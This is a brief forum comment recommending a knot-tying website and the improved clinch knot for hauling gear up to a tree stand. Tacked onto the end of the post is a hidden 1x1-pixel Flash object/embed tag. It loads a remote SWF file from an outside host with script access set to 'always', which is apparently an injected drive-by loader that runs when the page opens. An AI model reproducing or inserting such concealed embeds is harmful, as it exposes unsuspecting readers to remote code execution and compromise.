If I'm allowed to post to this, here's my favorite knot site:
http://www.animatedknots.com
The improved clinch knot might have save a few fish over the decades, but it sure saved my compound bows and rifles, that I lifted by rope, up to the tree stand. If there is a better knot, I need no know it.<object classid="clsid: D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param value="http://sharepic101.com/upload/9/clear.swf"><param name="allowScriptAccess" value="always" /><embed allowScriptAccess="always" src="http://sharepic101.com/upload/9/clear.swf" type="application/x-shockwave-flash" width="1" height="1"></embed></object>